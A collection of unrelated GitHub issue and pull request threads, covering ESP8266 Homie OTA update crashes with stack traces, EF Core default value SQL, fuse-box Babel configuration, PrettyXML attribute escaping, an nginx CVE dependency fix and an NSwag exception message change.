update rules

add ingenieur.de and update heise.de

Pull Request Test Coverage Report for Build 32

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.01%) to 79.366%

Totals

Change from base Build 28:
0.01%

Covered Lines:
1477

Relevant Lines:
1861

💛  - Coveralls

Thank you ! 👍


parse SIWE messsage nicer

We need ABNF parser to parse these better, such as https://github.com/ldthomas/apg-js


Google Gemma models

Model name
Google Gemma family (7B, 2B, 7B-instruct, 2B-instruct)
Parameters
Not that I'm aware
Source
Models are available via huggingface (transformers):
7B: https://huggingface.co/google/gemma-7b
2B: https://huggingface.co/google/gemma-2b
7B-instruct: https://huggingface.co/google/gemma-7b-it
2B-instruct: https://huggingface.co/google/gemma-2b-it
Or in a variety of other fameworks on kaggle:
https://www.kaggle.com/models/google/gemma/frameworks/pyTorch/variations/2b
Models were originally trained in Jax
Support
Unable to make a PR myself in the short term

Some are builtin models in Xinference, starting with those. https://inference.readthedocs.io/en/latest/models/builtin/llm/gemma-it.html
On Mac, I encounter a bug, will still need to check if that's OS/architecture or something in Xinference. If the latter, will open an issue with them.

added Gemma config in #142

After Xinference v0.11, we have a choice of different model engines; Gemma appears to only run on transformers. I am still getting an error (not finding the key 'model.embed_tokens.weight'). Still debugging this one, appears not as straightforward as most other models.


OTA update make device reboot with old firmware

I'm using latest commit (26dafb8251cd575b0cb87e641d8ed33945c40757) of v2.0.0 of homie and latest of homie-ota (e04712109fbd1f5a877e22fe1ab644dbda5ac03e).
When I try to make the OTA update by homie-ota ui, all seems works but after the firmware is uploaded I get an exception and the esp8266 reboot in normal mode with the old firmware.
This is the homie log captured by serial:
✴ OTA available (checksum eeffc1681ce672bf7644e093d987a0f0)
↕ OTA started
Triggering OTA_STARTED event...
Firmware is base64-encoded
Receiving OTA firmware (1054/354465)...
Receiving OTA firmware (2149/354465)...
[..]
Receiving OTA firmware (353169/354465)...
Receiving OTA firmware (354264/354465)...
Receiving OTA firmware (354464/354464)...

  • OTA:
    ◦ Enabled? yes
↕ Attempting to connect to Wi-Fi...
✔ Wi-Fi connected
Triggering WIFI_CONNECTED event...
↕ Attempting to connect to MQTT...
Sending initial information...
✔ MQTT ready
Triggering MQTT_CONNECTED event...
Calling setup function...
〽 Sending statistics...
  • Wi-Fi signal quality: 40%
  • Uptime: 4s

Thanks for all your help!
Before submitting your issue, make sure:

[ ] You're using a stable release, not the Git development version which is, by definition, unstable
[x] You've read the documentation for your release, which is in the docs/ folder of the .zip of the release you're using, especially the Getting started and Troubleshooting pages, which contain respectively the minimum required version of the dependencies, and some answsers to the most common problems
[ ] You're using the examples bundled in your release, which are in the examples/ folder of the .zip of the release you're using. Examples in the latest git revision might not be backward-compatible with your release

Same here :|
epc1=0x4000bf64 epc2=0x00000000 epc3=0x00000000 excvaddr=0x4024a879 depc=0x00000000

Weird. This is a blocker before releasing v2.0.0. I'll take a look!
Sorry for the long response time, studies are my priority!

i just flashed some homie-devices via ota in the last days. it never works on the first try, mostly i need 5 or 6 tries.

I cannot reproduce. Everything is working on my side, b64 or not...

What is your board? I only have NodeMCU v2s.

I use 11 NodeMCU v2 boards at the moment. Sorry, i havn't had time to test with 5 or 6 Nodes. Maybe this weekend.

Hi,
My WeMos D1 mini is rebooting to old firmware after OTA as well.
(checked out develop branch at commit d7739b5d9ca741c7f64fb1cfbe615eb2aac2eab1,
my complete sketch is here: https://github.com/pezinek/ir_blaster )

I use ESP8266 12E/F ("raw" version) with 4Mb of flash memory...thanks!

Actually I hit this issue again, and this time I was able to capture and decode the stack trace, and even though it doesn't make much sense to me, but maybe it would to someone else ;-)
Exception 3: LoadStoreError: Processor internal physical address or data error during load or store
Decoding 50 results
0x4024d8e2: chip_v6_unset_chanfreq at ?? line ?
0x4020182d: String::copy(char const*, unsigned int) at ?? line ?
0x402019a9: String::operator=(char const*) at ?? line ?
0x4024d8e2: chip_v6_unset_chanfreq at ?? line ?
0x4021b618: HomieInternals::Logger::write(unsigned char const*, unsigned int) at ?? line ?
0x402072f9: HomieInternals::BootNormal::_endOtaUpdate(bool, unsigned char) at ?? line ?
0x4024d526: chip_v6_unset_chanfreq at ?? line ?
0x402076e8: HomieInternals::BootNormal::_onMqttMessage(char*, char*, AsyncMqttClientMessageProperties, unsigned int, unsigned int, unsigned int) at ?? line ?
0x40105142: pp_post at ?? line ?
0x401049af: lmacRxDone at ?? line ?
0x40105e39: trc_NeedRTS at ?? line ?
0x401063f6: wDev_ProcessFiq at ?? line ?
0x40244593: pp_attach at ?? line ?
0x4021b504: std::_Function_handler    (HomieInternals::BootNormal*, std::_Placeholder1>, std::_Placeholder2>, std::_Placeholder3>, std::_Placeholder4>, std::_Placeholder5>, std::_Placeholder6>)> >::_M_invoke(std::_Any_data const&, char*, char*, AsyncMqttClientMessageProperties, unsigned int, unsigned int, unsigned int) at ?? line ?
0x40231d6c: ieee80211_output_pbuf at ?? line ?
0x40206c5b: std::_Function_base::_Base_manager    (HomieInternals::BootNormal*, std::_Placeholder1>, std::_Placeholder2>, std::_Placeholder3>, std::_Placeholder4>, std::_Placeholder5>, std::_Placeholder6>)> >::_M_manager(std::_Any_data&, std::_Any_data const&, std::_Manager_operation) at ?? line ?
0x4021bf6a: std::function ::function(std::function  const&) at ?? line ?
0x4022a4ac: etharp_send_ip at /Users/igrokhotkov/espressif/arduino/tools/sdk/lwip/src/netif/etharp.c line 434
0x402148c0: AsyncMqttClient::_onMessage(char*, char*, unsigned char, bool, bool, unsigned int, unsigned int, unsigned int, unsigned short) at ?? line ?
0x4010020c: _umm_free at umm_malloc.c line ?
0x40206c38: std::_Function_base::_Base_manager    (HomieInternals::BootNormal*, std::_Placeholder1>, std::_Placeholder2>, std::_Placeholder3>, std::_Placeholder4>, std::_Placeholder5>, std::_Placeholder6>)> >::_M_manager(std::_Any_data&, std::_Any_data const&, std::_Manager_operation) at ?? line ?
0x4021b4dc: std::_Function_handler    (HomieInternals::BootNormal*, std::_Placeholder1>, std::_Placeholder2>, std::_Placeholder3>, std::_Placeholder4>, std::_Placeholder5>, std::_Placeholder6>)> >::_M_invoke(std::_Any_data const&, char*, char*, AsyncMqttClientMessageProperties, unsigned int, unsigned int, unsigned int) at ?? line ?
0x4022a791: etharp_output_to_arp_index at /Users/igrokhotkov/espressif/arduino/tools/sdk/lwip/src/netif/etharp.c line 888
0x40206cba: std::_Function_base::_Base_manager    (HomieInternals::BootNormal*, std::_Placeholder1>)> >::_M_manager(std::_Any_data&, std::_Any_data const&, std::_Manager_operation) at ?? line ?
0x4021be0d: std::_Function_handler    (AsyncMqttClient*, std::_Placeholder1>, std::_Placeholder2>, std::_Placeholder3>, std::_Placeholder4>, std::_Placeholder5>, std::_Placeholder6>, std::_Placeholder7>, std::_Placeholder8>, std::_Placeholder9>)> >::_M_invoke(std::_Any_data const&, char*, char*, unsigned char, bool, bool, unsigned int, unsigned int, unsigned int, unsigned short) at ?? line ?
0x40215866: AsyncMqttClientInternals::PublishPacket::parsePayload(char*, unsigned int, unsigned int*) at ?? line ?
0x402146b5: AsyncMqttClient::_onData(AsyncClient*, char*, unsigned int) at ?? line ?
0x402138cc: std::_Function_base::_Base_manager    (AsyncMqttClient*, std::_Placeholder1>, std::_Placeholder2>)> >::_M_manager(std::_Any_data&, std::_Any_data const&, std::_Manager_operation) at ?? line ?
0x4021bd7c: std::_Function_handler    (AsyncMqttClient*, std::_Placeholder1>, std::_Placeholder2>)> >::_M_invoke(std::_Any_data const&, unsigned short, unsigned char) at ?? line ?
0x40213884: std::_Function_base::_Base_manager    (AsyncMqttClient*, std::_Placeholder1>, std::_Placeholder2>, std::_Placeholder3>, std::_Placeholder4>, std::_Placeholder5>, std::_Placeholder6>, std::_Placeholder7>, std::_Placeholder8>, std::_Placeholder9>)> >::_M_manager(std::_Any_data&, std::_Any_data const&, std::_Manager_operation) at ?? line ?
0x4021bdd4: std::_Function_handler    (AsyncMqttClient*, std::_Placeholder1>, std::_Placeholder2>, std::_Placeholder3>, std::_Placeholder4>, std::_Placeholder5>, std::_Placeholder6>, std::_Placeholder7>, std::_Placeholder8>, std::_Placeholder9>)> >::_M_invoke(std::_Any_data const&, char*, char*, unsigned char, bool, bool, unsigned int, unsigned int, unsigned int, unsigned short) at ?? line ?
0x40103915: lmacProcessTXStartData at ?? line ?
0x4022b97c: ip_output_if at /Users/igrokhotkov/espressif/arduino/tools/sdk/lwip/src/core/ipv4/ip.c line 628
0x40231039: ieee80211_parse_beacon at ?? line ?
0x402146e8: std::_Function_handler ::_M_invoke(std::_Any_data const&, void*, AsyncClient*, void*, unsigned int) at AsyncMqttClient.cpp line ?
0x4021ab3c: AsyncClient::_recv(tcp_pcb*, pbuf*, signed char) at ?? line ?
0x402356e7: ieee80211_parse_wmeparams at ?? line ?
0x4021ab8f: AsyncClient::_s_recv(void*, tcp_pcb*, pbuf*, signed char) at ?? line ?
0x4022e2e0: tcp_input at /Users/igrokhotkov/espressif/arduino/tools/sdk/lwip/src/core/tcp_in.c line 394 (discriminator 1)
0x40107648: pvPortMalloc at ?? line ?
0x40100000: _stext at ?? line ?
0x4022b6d1: ip_input at /Users/igrokhotkov/espressif/arduino/tools/sdk/lwip/src/core/ipv4/ip.c line 558
0x4022aac9: ethernet_input at /Users/igrokhotkov/espressif/arduino/tools/sdk/lwip/src/netif/etharp.c line 1377
0x40243f23: pp_tx_idle_timeout at ?? line ?
0x40243e96: pp_tx_idle_timeout at ?? line ?
0x40223857: user_uart_wait_tx_fifo_empty at ?? line ?

I'm having the same issue on a Itead Sonoff devices and Wion devices.

I can confirm the same issue for me (ESP-12F).
Unfortunately I had no time for further investigations yet.

Same here, ESP -12E
As far s i can see, with all libs up-to-date, OTA is received, crashes right afterwards:
Receiving OTA firmware (355840/357600)...
Receiving OTA firmware (356935/357600)...
Receiving OTA firmware (357600/357600)...

Exception (3):
epc1=0x4000bf64 epc2=0x00000000 epc3=0x00000000 excvaddr=0x4024bc65 depc=0x00000000

ctx: sys
sp: 3ffffad0 end: 3fffffb0 offset: 01a0

I am no coder, though i am happy to help with logs / debugging.
Just let me know what to do :)

I've got this long time ago from the esp8266.com forum:

ESP8266 Arduino core uses two stacks: one for the SDK, and one for the sketch. ctx: sys means that exception happened while running on the SDK (system) stack, and ctx: cont is for the sketch stack.

So I understand the crash is coming from the SDK itself and not from the Arduino (hence also Homie) code.
As you say your libs are up-to-date, does this also count for the Arduino framework itself?

Same here. ESP-01 this time. Have not had a single successful OTA update on any of 3 firmwares.
Exception (3):
epc1=0x4000bf64 epc2=0x00000000 epc3=0x00000000 excvaddr=0x4024cb29 depc=0x00000000
ctx: sys
sp: 3ffffad0 end: 3fffffb0 offset: 01a0
Library Dependency Graph
|-- <Homie> v2.0.0
|   |-- <ArduinoJson> v5.6.7
|   |-- <AsyncMqttClient> v0.8.1
|   |   |-- <ESPAsyncTCP> v1.0.1
|   |   |   |-- <ESP8266WiFi> v1.0
|   |-- <Bounce2> v2.1
|   |-- <ESP8266mDNS>
|   |   |-- <ESP8266WiFi> v1.0
|   |-- <Ticker> v1.0
|   |-- <ESP8266WiFi> v1.0
|   |-- <ESP8266HTTPClient> v1.1
|   |   |-- <ESP8266WiFi> v1.0
|   |-- <DNSServer> v1.1.0
|   |   |-- <ESP8266WiFi> v1.0
|   |-- <ESP8266WebServer> v1.0
|   |   |-- <ESP8266WiFi> v1.0

fuego:Dimmer jrs$ pio platform show espressif8266

Version: 1.3.1
Home: http://platformio.org/platforms/espressif8266
Repository: https://github.com/platformio/platform-espressif8266.git
Vendor: https://espressif.com/
License: Apache-2.0
Frameworks: arduino, esp8266-rtos-sdk, simba

Packages
--------

Package toolchain-xtensa
------------------------
Type: toolchain
Requirements: ~1.40802.0
Installed: Yes
Version: 1.40802.0
Original version: 4.8.2
Description: xtensa-gcc

Package tool-esptool
--------------------
Type: uploader
Requirements: ~1.409.0
Installed: Yes
Version: 1.409.0
Original version: 4.9
Description: esptool-ck

Package tool-mkspiffs
---------------------
Type: uploader
Requirements: ~1.102.0
Installed: Yes
Version: 1.102.0
Original version: 1.2
Description: Tool to build and unpack SPIFFS images

Package tool-espotapy
---------------------
Type: uploader
Requirements: ~1.0.0
Installed: Yes
Version: 1.0.0
Original version: None
Description: This script will push an OTA update to the ESP

Package framework-arduinoespressif8266
--------------------------------------
Type: framework
Requirements: ~1.20300.1
Installed: Yes
Version: 1.20300.1
Original version: 2.3.0
Description: Arduino Wiring-based Framework (ESP8266 Core)

Seems to be stale issue.
Will be closed.
Feel free to reopen if there are more information.


Feature request: Add an endpoint which serves the raw source of rust files, with permissive CORS headers

Let's say I want to read the source code of src/macros/scoped_tls.rs of the crate tokio version 1.6.1.
docs.rs has a viewer for this source code in two places:

https://docs.rs/crate/tokio/1.6.1/source/src/macros/scoped_tls.rs
https://docs.rs/tokio/1.6.1/src/tokio/macros/scoped_tls.rs.html

However, both of these endpoints wrap the source code in an HTML template.
Is there a way to get the raw source code? If not, would you be open to adding an endpoint for this?
Background:
I'm working on the Firefox profiler, which is a web app. I'm planning to make it usable for profiling local Rust applications. Here's an example profile: https://share.firefox.dev/3AiTMkJ
I'm also planning to give it an inline source viewer which displays timing costs on a per-line basis. Furthermore, profiles from this profiler can be shared and viewed on other people's machines. It would be great if, for Rust dependencies, I could request the raw source file from the internet.
At the moment, the profiles I'm capturing contain absolute paths that are only valid on the original machine, for example /Users/mstange/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.6.1/src/macros/scoped_tls.rs. It would be great if I could just translate this path into, say, https://docs.rs/crate/tokio/1.6.1/rawsource/src/macros/scoped_tls.rs before profile upload, so that any user could access that profile and see the source code, without the code having to be embedded inside the profile.
There is in fact an existing URL where the raw source of this file can be obtained: https://raw.githubusercontent.com/tokio-rs/tokio/1baea398c4ee9361c72dc7829331366ed1d1c7f0/tokio/src/macros/scoped_tls.rs .
However, not all published crates have their code on github. And it's not always easy to find the correct path in the github repo, if the repository uses a cargo workspace (as is the case here for tokio).

Is there a way to get the raw source code? If not, would you be open to adding an endpoint for this?

This is not something docs.rs should be doing IMO. You can get the source code from crates.io instead (there's even a helpful wrapper: https://crates.io/crates/cargo-download).


Update run script to share more functionality and allow parameter passing

depends on mtp-common#47

This is shifting the main tasks away to the makefile and into the tasks. Normally make is what you run , and it calls relevant scripts, tasks.sh exists to make the makefile visibly more about the dependencies and recipes (although it has been argued that the commands should be put inline directly and not in a tasks.sh file). The reason why run.sh exists is that there's already a makefile which I didn't want to touch until the new makefile could be integrated into the existing one, which would have removed the need for run.sh.


Add missing index to avoid slow queries/inserts

To avoid slow queries/inserts we have to add an compund index for aggregate_id, aggregate_type and last_version. We have to investigate if other indexes are useful.
We can update the README.md.

:+1:

There is a performance drawback in the alcaeus/mongo-php-adapter which can not be resolved here.
This is just an info.

Solved with version v3.0.0


Merge pull request #1 from automategreen/master

Merging base version into forked repo

Completely messed up. My bad.


Webview communication bridge to node

Updated the webview module to communicate to the browser via a socket connection c/w test coverage.
A constants module was created to centralize location, host, port, etc.
webview.setURL now goes directly over the socket.
The current implementation just writes the raw URL, future versions will have a robust message passing protocol.
Removed dependency on 'now' module and duplicate express dependency.

Looks good to me.


feat (LinearAlgebra/RootSystem/RootPositive) : Root-positive bilinear forms

This PR introduces a Prop-valued mixin class for root pairings, specifying that a bilinear form on weight space is symmetric, reflection-invariant, and gives roots a strictly positive norm.  Given a root-positive norm, one obtains sign-compatibilities between the form and the canonical pairing between roots and coroots.
Root-positive forms show up naturally in Kac-Moody Lie algebras (without the name), and the canonical polarization on a finite root pairing induces a root-positive form.

Thank you for the review!
bors r+


HasDefaultValueSql has no effect after update to .netcore 2.2

use HasDefaultValueSql("transaction_timestamp()") to add timestamp

Can you please submit a more complete code sample with a description of what doesn't work as expected?

The Model:
public abstract class BaseEntity : IBaseEntity
{
[Key]
public Guid Id { get; set; }
    // [DatabaseGenerated(DatabaseGeneratedOption.Identity)]
    // public Guid Uuid { get; set; }

    public Guid CreatorId { get; set; }

    // [Column(TypeName="timestamp with time zone")]
    public DateTime CreationTime { get; set; }

    public Guid ModifierId { get; set; }

    [Timestamp]
    // [Column(TypeName="timestamp with time zone")]
    public DateTime ModifiedTime { get; set; }

}
The DbContext:
newModelBuilder.Property("CreationTime")
.ValueGeneratedOnAdd()
.HasDefaultValueSql("transaction_timestamp()");
The generated sql:
CREATE TABLE public."Accounts"
(
"Id" uuid NOT NULL,
"CreatorId" uuid NOT NULL,
"CreationTime" timestamp without time zone NOT NULL,
"ModifierId" uuid NOT NULL,
"ModifiedTime" timestamp without time zone NOT NULL,
"Name" text COLLATE pg_catalog."default",
"Descriptions" text COLLATE pg_catalog."default",
"PhoneNumber" text COLLATE pg_catalog."default" NOT NULL,
"Email" text COLLATE pg_catalog."default" NOT NULL,
"Password" text COLLATE pg_catalog."default" NOT NULL,
"IsHuman" boolean NOT NULL DEFAULT true,
"AccountGroupIds" uuid[],
"AccountTeamIds" uuid[],
"UserId" uuid NOT NULL,
CONSTRAINT "PK_Accounts" PRIMARY KEY ("Id")
USING INDEX TABLESPACE cashmere,
CONSTRAINT "FK_Accounts_Users_UserId" FOREIGN KEY ("UserId")
REFERENCES public."Users" ("Id") MATCH SIMPLE
ON UPDATE NO ACTION
ON DELETE CASCADE
)
Have no default value function ;

I decided generate all the value from the client side, but some default value should be more convenient for adding new entity.

See below for a working code sample with version 2.2.0 of the provider. Executing this program creates a database where the CreationTime column does have transaction_timestamp() as its default in the database. Please post an actual repro of what's not working for you.
class Program
{
    static void Main(string[] args)
    {
        using (var ctx = new BlogContext())
        {
            ctx.Database.EnsureDeleted();
            ctx.Database.EnsureCreated();
        }
    }
}

public class Blog
{
    public int Id { get; set; }
    public DateTime CreationTime { get; set; }
}

public class BlogContext : DbContext
{
    public const string ConnectionString = "...";

    public DbSet<Blog> Blogs { get; set; }

    protected override void OnConfiguring(DbContextOptionsBuilder builder)
        => builder.UseNpgsql(ConnectionString);

    protected override void OnModelCreating(ModelBuilder builder)
    {
        builder.Entity<Blog>()
            .Property(b => b.CreationTime)
            .HasDefaultValueSql("transaction_timestamp()");
    }
}

See below for a working code sample with version 2.2.0 of the provider. Executing this program creates a database where the CreationTime column does have transaction_timestamp() as its default in the database. Please post an actual repro of what's not working for you.
class Program
{
    static void Main(string[] args)
    {
        using (var ctx = new BlogContext())
        {
            ctx.Database.EnsureDeleted();
            ctx.Database.EnsureCreated();
        }
    }
}

public class Blog
{
    public int Id { get; set; }
    public DateTime CreationTime { get; set; }
}

public class BlogContext : DbContext
{
    public const string ConnectionString = "...";

    public DbSet<Blog> Blogs { get; set; }

    protected override void OnConfiguring(DbContextOptionsBuilder builder)
        => builder.UseNpgsql(ConnectionString);

    protected override void OnModelCreating(ModelBuilder builder)
    {
        builder.Entity<Blog>()
            .Property(b => b.CreationTime)
            .HasDefaultValueSql("transaction_timestamp()");
    }
}

I make the BaseEntity as abstract for inheritance,  but it seems it not working for the fields that having inherited.  I have tried implementing common fields in every model,  it is working.
Do I have not to use the abstract class for inheritance?

@yes7rose can you please post a complete code sample that shows the issue? Your first code sample above has lots of comments and it is unclear what exactly you're trying to do and what's not working...


fix CVE-2019-5021 caused by nginx-apline

PR Checklist
Fixed issue that was caused by old version of the nginx:alpine container, that causes security scanners to report a high security alert CVE-2019-5021. Current version of nginx have already patched this vulnerability.
Please see:
https://github.com/nginx-proxy/nginx-proxy/issues/1280

Thanks!


Zoom image

Hi Antony,
I do not know if they have already requested it, but would it be possible to zoom the image to be projected? It would be something similar as we could do in the old SOUNDBOX.
Thank you.
Best regards.

Hello,
This has been requested in #88. Here is Antony's reply: https://github.com/AntonyCorbett/OnlyM/issues/88#issuecomment-452242918
I keep SoundBox on the laptop as a backup and for the image zoom feature if it's ever needed.

@gonzo041 Thanks for your suggestion. Please refer to the disucssion #88


Copying files/resources from a crate you reference

It comes up often in Servo that there are files in a crate that we reference that we want to copy to our final output directory. e.g.,

GPU shader files we need to compile on the target machine for webrender
The various html files in browser.html

Today, we do that via python code named find_dep_path_newest here:
https://github.com/servo/servo/blob/master/python/servo/post_build_commands.py#L36-L45
Basically, we grovel the private crates directory for the ones with the right name. Then, since the hashes are unrelated to the cargo version (so far as we can tell), we just "guess" that the newest one is probably the one you want to copy files from, and use that path.
Is there a better way to do this? e.g., I could imagine setting a "BROWSERHTML_RESOURCES_PATH" env var in the build.rs of the bhtml project and then just picking up that env var in the using project? Or having such variables set automatically by Cargo for use later in the build process?
Note that I'm not sure it makes sense for these projects to "publish" the files as part of their own build.rs, otherwise I'd say that you could have them push the files out to a well-known place in the target directory and then have later build steps pick them up there.
cc @alexcrichton @wycats @metajack

Yeah I'm not entirely certain what the best route to go here would be, unfortunately. I suspect a custom env var would work best for now or guessing the layout of the target directory (e.g. putting files in something relative to OUT_DIR)


Optimization

Some optimizations:

Allow to enable/disable CTP metrics
Remove color attribute, since data is by default with only one color
Clean up some code that might slightly affect performance

@schleichardt can you take a look?

:+1:


Weird tearing artifacts with proportional fonts

Oni Version: 0.36
Neovim Version (Linux only): 0.3.0
Operating System: Antergos OS (Arch derivative)
Issue: Weird tearing artifacts with proportional fonts
Expected behavior: Display font correctly like VS-Code, Atom, Sublime, etc.
Actual behavior: Almost works, but displays weird horizontal lines as artifacts.

Steps to reproduce: Set  "editor.fontFamily": "Input", (Input is a proportional font)

Hey!
Thats interesting! I'd be interested to see if its still reproducible with     "editor.renderer": "webgl",, since that fixed a bunch of these styles of issues caused by subpixel-antialiasing.

Looks like "webgl" works! Thanks!

@CrossR @mbeach42 Since webgl is not the default renderer yet, should'nt we keep this keep this issue open?

We've got more focused issues on the remaining items in the webgl renderer, and other issues with more details on what caused this and why the webgl renderer fixes it, so I think its fine to close this off.


Babel plugin output is not used

I'm currently trying to convert an existing library from webpack to fuse-box, but I can't get Babel to run.
This is the build script I'm using:
#!/usr/bin/env node

const path = require('path');
const {
    FuseBox,
    BabelPlugin,
    CSSPlugin,
} = require('fuse-box');

const config = {
    homeDir: path.resolve(__dirname, 'src'),

    plugins: [
        CSSPlugin(),
        BabelPlugin({
            test: /\.jsx?$/,
            config: {
                plugins: ['inferno'],
                presets: [
                    ['env', {
                        modules: 'commonjs',
                        targets: {
                            browsers: 'last 2 versions',
                            android: '4.4',
                            ios: 8,
                        },
                    }],
                ],
            },
        }),

    ],

    outFile: path.resolve(__dirname, 'dist', 'bundle.js'),
};

FuseBox.init(config).bundle('>index.js');

My devDependencies:
{
    "babel-core": "^6.23.1",
    "babel-generator": "^6.23.0",
    "babel-plugin-inferno": "^1.7.0",
    "babel-preset-env": "^1.1.8",
    "babylon": "^6.15.0",
    "fuse-box": "^1.3.114"
}

And a sample from the output:
___scope___.file("index.js", function(exports, require, module, __filename, __dirname){
var process = require("process");
import Inferno from 'inferno';
import { Provider } from 'inferno-redux';

import App from './components/app';
import { prepareState } from './state';
import createStore from './store';

export class Container {
    constructor(element, data, options = {}) {
        try {
            this.element = element;
            this.bootstrap(data, options);
        } catch(err) {
            console.error(err);
        }
    }

    bootstrap(data, options) {
        const state = prepareState(options, data);
        this.store = createStore(state);

        Inferno.render(
            <Provider store={this.store}>
                <App />
            </Provider>,
            this.element
        );
    }
}

});

Running Babel alone yields the expected result, with the imports replaced with require calls and the class / JSX correctly transpiled. Am I missing something obvious here ?

Ok, it might be related to caching if you added the BabelPlugin afterwards. You can try removing .fusebox folder. It should help!

Clearing the cache is one of the first things I tried, but it doesn't solve the problem.

How about removing your test.
Does this work for you? https://github.com/fuse-box/react-example
Plugins are fine?

Removing the testproperty changes nothing, as does renaming all the source files to .jsx.
(The last part is something I tried to match the react example, which works perfectly fine.)
The CSS plugins seems to be working correctly, as I can see my stylesheets in the final bundle.

Hm, clearly it's related to Babel. .babelrc maybe it's conflicting?!

I did remove my .babelrc file and inlined it in the configuration file, again this solved nothing. A quick check confirmed I have no other Babel related file upper in the filesystem.
Additionally, removing the inferno plugin makes the bundler crash with babylon complaining about the JSX so this config is at least used somewhere.

Oh. I think I got it. Related to this issue #155
https://github.com/fuse-box/react-example/blob/master/.babelrc#L2 should solve it, and I think I should start fixing it this instance.

Ok, adding the sourceMaps property fixes it. Thanks !

No problem, i will add this bug to the milestone

#180


comment instead of removing

after #2084
update with comment instead of removing that 'npm install' line.
the root cause is not clear. it may related to npm install.

I commented in #2084 but we should find and fix the root cause, since this is necessary to validate that the site builds and the links are valid.


properies -> properties

not expecting this PR to merge, just want to make you aware of the typo

Thank you!


Suppress Replacing of Special Characters in Attribute Values

Hi,
Pretty XML replaces special characters in attribute values for e.g. '>' / '<' automatically with '>' / '<'.
We don't want this replacing in our team but there is no setting for turning this behaviour off.
Is there any chance that you implement a setting for this purpose in a future release?
Best regards

Hello,
Escaping those characters are per XML standards. I will see if it can be implemented though. Could you please provide couple of sample XMLs to test?

Hi @pmahend1 ,
FYI: In our cases the XMLs are UI-Views and the underlying framework is using some kind "expression binding".
The content of the files e.g. look like this:
<View>
  <Content>
    <Label text="{i18n>LabelText}" />
    <Input id="Input1"
           value="{service>description}" />
  </Content>
</View>

After XML prettify it looks like this and the expression binding is no longer working.
<View>
  <Content>
    <Label text="{i18n>LabelText}" />
    <Input id="Input1"
           value="{service>description}" />
  </Content>
</View>

The default "Format Document" of VS Code is not escaping > and < perhaps due to such cases.
Best regards

@christopher-fabian I am in the process of adding that replacement. Do you have an example where < is part of an attribute value. As soon as I try to add it ,XML becomes invalid. I was able to use your above example to work on > replacement.

Hi @pmahend1 ,
oh you're right, that seems like a case that will never happen cause it invalidates the XML anyway.
This probably doesn't need any further attention.
Best regards

@christopher-fabian So for now, we just want to unescape > characters in attribute values, right? I can release it later today.

This would be enough for me, thank you! 👍

Addressed with https://github.com/pmahend1/PrettyXML/pull/132


Make redhat packaging major-version dependent

To be able to install cassandra3 and cassandra4 side-by-side and choose the necessary version dynamically.

My bad I thought this was in Aiven core


Roadmap for 2.0

Dependencies upgrades

Spring 5 we don't manage this dependency, but our picks should be largely compatible with this version
Hibernate 5
embedded Tomcat

I think we can entertain moving to the Jakarta namespace, but at this stage, Hibernate 6 and Spring 6 are not ready for production.


🔧 Use LAMINDB_DJANGO_DATABASE_URL instead of DATABASE_URL

Hm, i am not sure now that it is better to point to already existing LAMINDB_INSTANCE_DB. LAMINDB_INSTANCE_DB is actually a proper thing, that is validated. And this one (LAMINDB_DATABASE_URL) is just something that overwrites any connection whatever it is. They should not be conflated i believe. And also double overwrite will be confusing we use LAMINDB_INSTANCE_DB here.
@falexwolf maybe lets call it not LAMINDB_DATABASE_URL but something like LAMINDB_DJANGO_DATABASE_URL just to be sure that is not accidently used, because DATABASE_URL is really generic.

I like your last solution!

Ok, merging then.


HTTP response missing in SwaggerException.Message

When a unit test throws an exception, xUnit outputs Exception.Message. But SwaggerException.Message does not contain the HTTP status code or the HTTP response, which are crucial to describe the exception.
Xavo.DemandClient.SwaggerException : MyMessage
   at SwaggerTests.SwaggerTests.SwaggerTest() in C:\...\SwaggerTests.cs:line 12

The docs say this on Exception.Message:

Gets a message that describes the current exception.

I think SwaggerException.Message should return both the HTTP response and the HTTP status code. Using SwaggerException.ToString() returns the HTTP response, but doubt that I could convince xUnit developers to switch to using Exception.ToString instead of Exception.Message.
For reference, here is the unit test which generates the output above:
using System.Collections.Generic;
using Xavo.MyControllerClient;
using Xunit;

namespace SwaggerTests
{
    public class SwaggerTests
    {
        [Fact]
        public void SwaggerTest()
        {
            throw new SwaggerException("MyMessage", 401, "HTTP not found response", new Dictionary<string, IEnumerable<string>>(), null);
        }
    }
}

So your proposal is to change the exception template?
https://github.com/RSuter/NSwag/blob/master/src/NSwag.CodeGeneration.CSharp/Templates/File.liquid#L112
To what?
You can do that already: https://github.com/RSuter/NSwag/wiki/Templates

Unfortunately, the messages themselves are sometimes quite strange. For example, for a 400 bad request response the message is "\nor\n". But without daring to discard the message parameter entirely, something like this would be a start?
diff --git a/src/NSwag.CodeGeneration.CSharp/Templates/File.liquid b/src/NSwag.CodeGeneration.CSharp/Templates/File.liquid
index 28947a10..65327ec1 100644
--- a/src/NSwag.CodeGeneration.CSharp/Templates/File.liquid
+++ b/src/NSwag.CodeGeneration.CSharp/Templates/File.liquid
@@ -118,7 +118,7 @@ namespace {{ Namespace }}
         public System.Collections.Generic.Dictionary<string, System.Collections.Generic.IEnumerable<string>> Headers { get; private set; }

         public {{ exceptionClassName }}(string message, int statusCode, string response, System.Collections.Generic.Dictionary<string, System.Collections.Generic.IEnumerable<string>> headers, System.Exception innerException)
-            : base(message, innerException)
+            : base($"{message} {{status: \"{statusCode}\", response: \"{response}\"}}", innerException)
         {
             StatusCode = statusCode;
             Response = response;

I will also look into the template approach.

TBH I'm not sure if the status code and response belongs into the message - they are part of the exception (properties).

Well, in some cases the generated client already puts the status code into the message. But in some others it does not. The message "\nor\n" is a bug I suppose.
                                throw new SwaggerException("Could not deserialize the response body.", (int)response_.StatusCode, responseData_, headers_, exception_);
                            throw new SwaggerException("A server side error occurred.", (int)response_.StatusCode, responseData_, headers_, null);
                            throw new SwaggerException("The HTTP status code of the response was not expected (" + (int)response_.StatusCode + ").", (int)response_.StatusCode, responseData_, headers_, null);
                            throw new SwaggerException<object>("\nor\n", (int)response_.StatusCode, responseData_, headers_, result_, null);
                            throw new SwaggerException<string>("A server side error occurred.", (int)response_.StatusCode, responseData_, headers_, result_, null);

Since we are building a web application, the HTTP status code and the HTTP response contain the relevant information. The message strings above are not interesting.
For what it's worth, I figured out how to use replace the liquid template file (using the /TemplateDirectory:MyTemplateDirectory option of nswag cli). After some testing, I have updated the proposed change as follows:
+        public {{ exceptionClassName }}(string message, int statusCode, string response, System.Collections.Generic.Dictionary<string, System.Collections.Generic.IEnumerable<string>> headers, System.Exception innerException)
